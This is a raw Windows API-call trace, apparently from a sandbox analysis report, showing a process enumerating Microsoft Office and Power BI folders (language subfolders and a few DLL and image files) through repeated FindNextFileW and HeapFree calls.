	[0165.859] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x453c2a7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr", cAlternateFileName="")) returned 1
	[0165.862] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.862] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk", cAlternateFileName="")) returned 1
	[0165.866] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.866] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vi", cAlternateFileName="")) returned 1
	[0165.870] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.871] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANS", cAlternateFileName="")) returned 1
	[0165.874] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.874] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 1
	[0165.877] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0165.877] FindNextFileW (in: hFindFile=0x76f028, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 0
	[0165.877] FindClose (in: hFindFile=0x76f028 | out: hFindFile=0x76f028) returned 1
	[0165.877] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0165.877] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x895576a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x895576a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 0
	[0165.877] FindClose (in: hFindFile=0x76f3a8 | out: hFindFile=0x76f3a8) returned 1
	[0165.877] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0165.877] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2283d0f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3688, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOSEC.DLL", cAlternateFileName="")) returned 1
	[0165.881] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0165.881] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Power View Excel Add-in", cAlternateFileName="POWERV~1")) returned 1
	[0165.979] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0165.979] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1
	[0166.008] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0166.008] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133a7bf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133a7bf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x0, dwReserved1=0x0, cFileName="BI-Report.png", cAlternateFileName="BI-REP~1.PNG")) returned 1
	[0166.012] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0166.012] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1
	[0166.015] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0166.015] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a6473, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1
	[0166.019] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0166.019] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1
	[0166.022] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0166.022] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1
	[0166.031] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0166.031] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7582db3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1
	[0166.039] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0166.039] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1
	[0166.043] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0166.043] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d2a978, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1
	[0166.047] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0166.047] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x138defa8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x138defa8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1
	[0166.051] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0166.051] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1
	[0166.054] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0166.054] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13aced2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13aced2b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1
	[0166.197] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0166.197] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a98712, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13a8299e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13a8299e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1
	[0166.399] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0166.399] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa806c3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1428e945, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1428e945, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1
	[0166.719] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0166.719] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13b67741, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13b67741, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1
	[0166.778] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0166.778] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6164f96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14648313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14648313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1
	[0166.785] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0166.785] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1434d390, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1434d390, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1
	[0166.789] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0166.789] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf964b3dd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14969496, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14969496, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1
	[0166.793] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0166.793] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x146e0bdc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x146e0bdc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1
	[0166.796] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0166.796] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfae6f174, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14b330aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14b330aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1
	[0166.799] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0166.799] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14ac0994, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14ac0994, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1
	[0166.802] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0166.802] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b529d9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x152a6704, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1
	[0166.916] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0166.916] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf035e09d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1
	[0167.030] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0167.030] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15f460, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0167.035] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0167.035] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15a3fea8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15a3fea8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1
	[0167.038] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0167.038] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b71118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b71118, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1
	[0167.190] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0167.190] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b24c93, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b24c93, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1
	[0167.197] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0167.197] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15bbd5ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15bbd5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt", cAlternateFileName="")) returned 1
	[0167.200] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0167.200] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15be380c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15be380c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0167.203] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0167.203] FindNextFileW (in: hFindFile=0x76ee28, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6ac83cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d3adab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1
	[0167.206] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
